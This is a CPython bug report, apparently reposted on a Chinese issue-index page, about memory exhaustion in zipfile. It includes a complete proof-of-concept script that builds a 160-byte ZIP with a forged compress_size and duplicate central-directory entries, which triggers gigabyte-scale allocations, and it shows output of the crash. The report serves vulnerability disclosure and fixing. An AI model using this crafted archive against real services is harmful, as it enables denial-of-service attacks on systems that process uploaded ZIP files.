Memory Exhaustion in zipfile via Forged compress_size
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- Python
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描述
Bug report
Bug description:
Summary
A short ZIP file forces Python's zipfile module to attempt a ~2 GiB heap allocation.
Details
ZipExtFile._read2() passes a user-controlled compress_size from the central directory to self._fileobj.read(n). On 3.14 builds, ZipExtFile.MAX_N caps a single request at 1 GiB. On 3.15, this was corrected to (1 << 31) - 1 = ~2 GiB. A 160-byte crafted ZIP claiming compress_size=0xFFFFFFFE triggers a ~1 GiB (3.14) or ~2 GiB (3.15) allocation attempt.
Note: The overlap check is bypassed using two CD entries with the same filename and header_offset=0, the first entry (forged sizes) gets _end_offset == header_offset, triggering only a warning.
Reproducer
"""
Memory exhaustion in zipfile via crafted compress_size field.
"""
import resource
import struct
import sys
import tempfile
import zipfile
CLAIMED_SIZE = 0xFFFF_FFFE
MEM_LIMIT = 256 * 1024 * 1024 # 256 MiB
def craft_malicious_zip(claimed_compress_size: int) -> bytes:
"""
Build a minimal valid ZIP with two CD entries.
"""
filename = b"a.txt"
file_data = b"x"
real_size = len(file_data)
local_header = struct.pack(
"<4s2B4HL2L2H",
b"PK\x03\x04",
20, 0, 0, 0, 0, 0, 0,
real_size, real_size,
len(filename), 0,
)
cd_offset = len(local_header) + len(filename) + len(file_data)
cd_entry_forged = struct.pack(
"<4s4B4HL2L5H2L",
b"PK\x01\x02",
20, 0, 20, 0,
0, 0, 0, 0, 0,
claimed_compress_size,
claimed_compress_size,
len(filename),
0, 0, 0, 0, 0,
0,
)
cd_entry_normal = struct.pack(
"<4s4B4HL2L5H2L",
b"PK\x01\x02",
20, 0, 20, 0,
0, 0, 0, 0, 0,
real_size,
real_size,
len(filename),
0, 0, 0, 0, 0,
0,
)
real_cd_size = (
len(cd_entry_forged) + len(filename)
+ len(cd_entry_normal) + len(filename)
)
eocd = struct.pack(
"<4s4H2LH",
b"PK\x05\x06",
0, 0, 2, 2,
real_cd_size, cd_offset, 0,
)
return (
local_header + filename + file_data
+ cd_entry_forged + filename
+ cd_entry_normal + filename
+ eocd
)
def main():
malicious_zip = craft_malicious_zip(CLAIMED_SIZE)
with tempfile.NamedTemporaryFile(suffix=".zip") as tmp:
tmp.write(malicious_zip)
tmp.flush()
try:
with zipfile.ZipFile(tmp.name, "r") as zf:
forged = zf.filelist[0]
with zf.open(forged) as f:
f.read()
except MemoryError:
print(
f"MemoryError from {len(malicious_zip)}-byte ZIP "
f"with compress_size={CLAIMED_SIZE:,}"
)
sys.exit(0)
except Exception:
print("BLOCKED: zipfile rejected forged compress_size")
sys.exit(1)
print("BLOCKED: no allocation error raised")
sys.exit(1)
if __name__ == "__main__":
resource.setrlimit(resource.RLIMIT_AS, (MEM_LIMIT, MEM_LIMIT))
main()
Due to how RLIMIT works, that's better to run the poc in a container.
❯ docker run --rm -v "$(pwd)":/work -w /work python:3.14-slim python poc.py
/work/poc.py:92: UserWarning: Overlapped entries: 'a.txt' (possible zip bomb)
with zf.open(forged) as f:
MemoryError from 160-byte ZIP with compress_size=4,294,967,294
Impact
Memory Exhaustion
Linked issues
https://github.com/python/cpython/issues/141713
/cc @serhiy-storchaka
CPython versions tested on:
3.15
Operating systems tested on:
macOS, Linux
Linked PRs
- gh-151509
贡献指南
从这里开始
- 先读完整个 Issue,再读项目的贡献指南。
- 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
- Fork 仓库,在一个分支上完成修改。
- 提交 Pull Request,并在描述里引用这个 Issue 编号。
调研方向
从 zipfile 模块中的 ZipExtFile._read2() 开始,在指定的内存限制下,使用提供的构造 ZIP 重现该行为。查看 issue 141713 和 pull request gh-151509,了解当前方向。当伪造的 compress_size 不再导致所演示的大量内存分配或内存耗尽时,即表示完成。
由索引模型根据 Issue 内容生成。
评估
- 技术栈
- python
- 领域
- security
- Issue 类型
- 缺陷
- 难度
- 4/5
- 预计耗时
- 3-5 天
- 活跃度
- 停滞
- 描述清晰度
- 基本清楚
- 新手友好度
- 25/100